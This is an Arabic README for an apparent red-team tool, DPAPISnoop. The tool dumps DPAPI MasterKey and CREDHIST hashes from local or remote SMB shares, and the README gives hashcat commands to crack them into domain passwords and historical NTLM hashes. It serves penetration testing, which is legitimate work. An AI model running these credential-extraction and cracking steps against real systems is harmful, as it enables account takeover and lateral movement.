
أداة بلغة C# لاستخراج هاشات DPAPI القابلة للكسر من MasterKeys الخاصة بالمستخدم
أداة بلغة C# تستخرج تجزئات DPAPI القابلة للكسر من ملفات MasterKeys و CREDHIST الخاصة بالمستخدمين.
تستهدف كلًا من MasterKey ($DPAPImk$) وسلسلة CREDHIST الكاملة ($credhist$)، مع دعم المسارات المحلية ومشاركات SMB البعيدة.
$DPAPImk$)يمكن العثور على MasterKey لكل مستخدم تحت المسار \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\.
يؤدي كسر التجزئة إلى الحصول على كلمة مرور المجال الخاصة بالمستخدم ويفتح جميع الأسرار المحمية عبر DPAPI من تلك الفترة.
تعتمد نسخة التجزئة على نظام التشغيل:
حقل السياق يرمّز نوع الحساب:
$credhist$)كل إدخال في ملف CREDHIST الخاص بكل مستخدم. كل إدخال مشفّر بكلمة مرور سابقة ويُفك تشفيره ليعطي SHA1 و NTLM لكلمة المرور التي تسبقه.
كسر السلسلة يعيد بناء جميع كلمات المرور التاريخية وتجزئات NTLM الخاصة بها.
يتم تصنيف الإدخالات في حقل اسم المستخدم بحيث يكون المخرج موصوفًا لذاته:
alice[current]:$credhist$*... ← مشفّر بكلمة المرور الحالية؛ اكسر هذا أولًا
alice[prev1]:$credhist$*... ← مشفّر بكلمة المرور السابقة
alice[prev2]:$credhist$*...
تعتمد نسخة تجزئة الإدخال على نظام التشغيل:
-m 15920-m 15930DPAPISnoop.exe [rootDir] [options]
rootDir يُعيّن افتراضيًا إلى %HOMEDRIVE% إذا تم حذفه. مسارات UNC مدعومة بالكامل.
# جهاز محلي — تفريغ كل شيء (الافتراضي هو %HOMEDRIVE%)
DPAPISnoop.exe
# جهاز محلي — السير في سلسلة CREDHIST بدءًا من كلمة مرور معروفة
DPAPISnoop.exe C: --password Summer2026!
# جهاز محلي — السير في سلسلة CREDHIST بدءًا من SHA1 معروف
# (مثلًا من sekurlsa::wdigest pwdhash أو ذاكرة dpapi المخزنة)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# مشاركة بعيدة — تفريغ كل شيء
DPAPISnoop.exe \\server01\c$
# مشاركة بعيدة — CREDHIST فقط، مع توجيه التجزئات إلى ملف
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# مشاركة بعيدة — السير في سلسلة CREDHIST بدءًا من كلمة مرور معروفة
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 محلي/مجال قبل 1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 مجال بعد 1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 محلي/مجال قبل 1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 مجال بعد 1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # إدخالات 3DES (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # إدخالات AES-256 (≥ Win10 20H2)
بعد الكسر، أعد تمرير كلمة المرور المستردة إلى DPAPISnoop للسير في السلسلة الكاملة وطباعة كل SHA1 و NTLM تاريخي:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
اطلع على README
تم تنفيذ هذا الجهد البحثي والتطويري بالتعاون بين إنسان وأدوات مدعومة بالذكاء الاصطناعي، باستخدام نموذجي الذكاء الاصطناعي GPT-5.5 و Claude Sonnet 4.6.
تم استخدام نماذج الذكاء الاصطناعي للمساعدة في توليد الكود ودعم الهندسة العكسية.
ومع ذلك، فإن جميع توجهات البحث والتحقق وتصحيح الأخطاء والاختبار وتحليل الأمان والقرارات الفنية النهائية تمت بواسطة إنسان (Imdefinelyhuman).
تمت مراجعة جميع المحتويات والكود والتحليلات المولّدة والتحقق منها وتعديلها ودمجها يدويًا كجزء من سير عمل تفاعلي يوجّهه الإنسان.
العبارة أعلاه هي طريقة منمّقة للقول أيضًا إن الكود يحتوي على أخطاء واستخدامه على مسؤوليتك الخاصة!
Lefteris (lefty) Panos @ LRQA Red Team 2026
| الخيار | الوصف |
|---|
| (بدون خيارات) | تفريغ $DPAPImk$ و $credhist$ لمستخدمنا |
--credhist-only / -c | تخطّي مخرجات MasterKey؛ إخراج سطور $credhist$ فقط |
--password <plaintext> / -p | السير في سلسلة CREDHIST بدءًا من كلمة المرور النصية الحالية |
--sha1 <40-hex> | السير في سلسلة CREDHIST بدءًا من SHA1 معروف لكلمة المرور الحالية |
--pre1607 | إخراج السياق 2 (مجال قبل 1607) بدلًا من السياق 3 لتجزئات MasterKey الخاصة بالمجال |